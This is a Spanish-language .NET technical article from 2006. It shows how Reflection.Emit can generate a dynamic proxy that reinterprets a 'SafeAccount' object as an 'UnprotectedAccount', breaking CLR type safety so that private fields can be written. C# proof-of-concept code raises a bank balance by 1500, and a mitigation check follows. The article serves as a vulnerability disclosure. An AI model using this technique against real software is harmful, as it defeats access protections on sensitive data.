Colabora .NET |
Rompiendo la seguridad de tipos de .NETCreación de clases dinámicas y desprotegiendo los campos 'private' de una clase definida
Fecha: 08/Nov/2006 (03/11/2006)
|
Introducción
Este trabajo muestra cómo usando reflexión (reflection) se define un conversor de tipos que permite a partir de un objeto, el cual comparte una misma funcionalidad con un interface, obtener un objeto Proxy equivalente en funcionalidad al original pero que garantiza ser subtipo de dicha interface. Nota:
Desarrollando nuestro "código seguro"
A modo de ejemplo, estamos en un banco desarrollando los componentes de negocio, específicamente una cuenta segura (SafeAccount) el cual tiene un nombre de cuenta y el saldo actual que solo podemos leer su valor. Entremos de una vez al preciado código: public class SafeAccount { // Note que estos campos son privados, // por lo tanto no accesibles desde afuera de la clase. private decimal mBalance; private string mName; public SafeAccount(decimal initialBalance) { this.mName = "Cuenta segura"; this.mBalance = initialBalance; } // Devuelve el saldo actual public decimal Balance { get{ return this.mBalance; } } // Devuelve el nombre de la cuenta public string Name { get{ return this.mName; } } // Más métodos o propiedades ... }
Luego construimos una clase con un método que recibe un objeto SafeAccount y lo devuelve. public class Naive { public SafeAccount ReturnMyself(SafeAccount x) { return x; } }
Iniciando el ataque...
Antes de empezar a generar las clases dinámicas, construimos el apoyo, esto es, una clase parecida a SafeAccount pero con los campos públicos en vez de privados y una interface parecida a la clase Naive, para decir más adelante en la clase dinámica que Naive implementa a la interface. public class UnprotectedAccount { // Tiene los mismos campos que SafeAccount pero aqui son públicos public decimal mBalance; public string mName; } public interface IMalicious { // Casi la misma firma del método ReturnMyself de la clase Naive... // solo que se diferencia en el tipo de retorno :D UnprotectedAccount ReturnMyself(SafeAccount x); }
Construyendo el generador de clases dinámicas
Una de las potencialidades de .NET combinadas con la reflexión son los recursos para generar código dinámicamente en tiempo de ejecución, código que incluso puede ser ejecutado a su vez durante de la propia ejecución de quién lo creó (lo que es el caso del tipo proxy mencionado en la introducción). Mejor nos callamos y mostramos lo que mejor sabemos hacer: public class Caster { public static object CastTo(object target, Type interfaceType) { // Obtenemos el dominio AppDomain domain = AppDomain.CurrentDomain; // creamos un nuevo ensamblado AssemblyName strongName = new AssemblyName(); strongName.Name = "MyAssembly.dll"; AssemblyBuilder asmBuilder = domain.DefineDynamicAssembly( strongName, AssemblyBuilderAccess.RunAndSave); // Creamos un modulo nuevo ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule( "MyModule", "MyAssembly.dll", true); // atributos de la nueva clase TypeAttributes typeAttr = TypeAttributes.Class | TypeAttributes.Public | TypeAttributes.BeforeFieldInit; // definir el tipo (la clase) dinámica que implementará la interface TypeBuilder proxyTypeBuilder = modBuilder.DefineType( interfaceType.Name + "ProxyFor_" + target.GetType().Name, typeAttr, typeof(object), new Type[] { interfaceType }); // definir un campo del mismo tipo de la clase original FieldInfo realTarget = proxyTypeBuilder.DefineField( "realTarget", target.GetType(), FieldAttributes.Private); // definir el constructor de la nueva clase EmitCtor(proxyTypeBuilder, realTarget); // definir los métodos de la nueva clase EmitMethods(interfaceType, proxyTypeBuilder, realTarget); // crear el tipo generado Type proxyType = proxyTypeBuilder.CreateType(); // descomentar estas 2 lineas si deseamos guardar el ensamblado generado //asmBuilder.Save("MyAssembly.dll", // PortableExecutableKinds.ILOnly, ImageFileMachine.I386); // Inicializar una instancia y devolverla return Activator.CreateInstance(proxyType, new object[] { target }); } } En el fichero para descargar esta el código completo de la clase Caster. Nota:
Lo que hace el método CastTo es algo así como: interprétame a éste x como de tipo IA aún cuando el tipo estático de x no hubiese sido definido como que implementa a IA. El método Cast recibe como primer parámetro el objeto original y como segundo parámetro el tipo interface como el que se desea que el primer parámetro sea interpretado, entonces creará dinámicamente un tipo proxy que emula al tipo del objeto original pero que indica implementar al tipo interface y devolverá como respuesta el tal objeto proxy.
Entonces, como el CLR de .NET no controla, a la hora de hacer la generación JIT, que al encontrar una operación Ret en el IL, el tipo del objeto que va a estar en el tope de la pila coincida con el tipo de retorno del método dentro del cual está dicha operación Ret, de modo que si en la interface y en el objeto original dos métodos difieren sólo en el tipo de retorno esto no se detecta. public class IMaliciousProxyFor_Naive : IMalicious { private Naive realTarget; public IMaliciousProxyFor_Naive(Naive x) { realTarget = x; } public UnprotectedAccount ReturnMyself(SafeAccount x) { return realTarget.ReturnMyself(x); } } Si lo compilamos directamente, el compilador nos indicará un error de conversión, pero como ha sido generada en tiempo de ejecución, "no se ha dado cuenta" del error. Esto significa un serio agujero de seguridad en el sistema de tipos de .NET, aún ejecutando bajo el supuesto modo seguro (safe) del código administrado (managed code). El ejemplo a continuación muestra como aprovechando esta debilidad se podría ¡acceder a las partes privadas de un objeto! Sigamos entonces con nuestro ataque...
Hack! - golpeando a .NET
Con el conversor+generador que tenemos se podría utilizar un tipo IMalicious para recibir un objeto SafeAccount y devolver el mismo objeto pero ¡interpretado como UnprotectedAccount!
public static void Main(string[] args) { SafeAccount myAccount = new SafeAccount(1000.0m); Console.WriteLine("Mi balance es: " + myAccount.Balance); Console.WriteLine("Mi nombre de cuenta es: " + myAccount.Name); Naive innocent = new Naive(); // creamos una clase basada en Naive pero que dice implementar a Malicious IMalicious hacker = (IMalicious)Caster.CastTo(innocent, typeof(IMalicious)); UnprotectedAccount sameAccount = hacker.ReturnMyself(myAccount); sameAccount.mBalance += 1500.0m; //nos agregamos 1500 a nuesta cuenta sameAccount.mName = "Cuenta hackeada"; //myAccount.Balance += 500.0m; // esto no se puede por que es de solo lectura Console.WriteLine("Mi balance es: " + myAccount.Balance); Console.WriteLine("Mi nombre de cuenta es: " + myAccount.Name); Console.ReadLine(); } y así sería la salida:
Protegiéndonos del peligro...
Realmente en nuestro conversor Caster este problema no tiene por qué ocurrir si antes de invocar a EmitMethods para emitir el código IL para los métodos, se verifica que el tipo que se está emitiendo pueda considerarse como que implementa el tipo interface (llamar a CheckConformance antes de continuar) verificando también que coincidan los tipos de retorno de los métodos. Obviamente este no sería el caso del tipo Naive y del tipo Malicious porque ambos métodos ReturnMySelf difieren en el tipo de retorno. if (realMethod.ReturnType != mi.ReturnType) throw new Exception( "Error de conversión, los métodos tiene diferente tipo de retorno: " + mi.ReturnType.Name + ", " + realMethod.ReturnType.Name);
Pero en ambas soluciones esta verificación queda a voluntad del programador y no del CLR, por lo que lamentablemente se puede escribir un conversor ¡que pueda impunemente cometer la violación! Y esa no es la máxima que pretende .NET con el código administrado.
ConclusionesComo se ha explicado, el CLR no verifica, ni exige que el código generado verifique, que no se cometa esta violación. Esperamos que esta "falla" sea solucionada antes que programadores malintencionados hagan un uso inadecuado de la misma.
Espacios de nombres usados en el código de este artículo:System
|
Código de ejemplo (ZIP): |
Fichero con el código de ejemplo: RichardKarl_RomperSeguridadTipos.zip - (2.45) KB
|
Acerca del autor |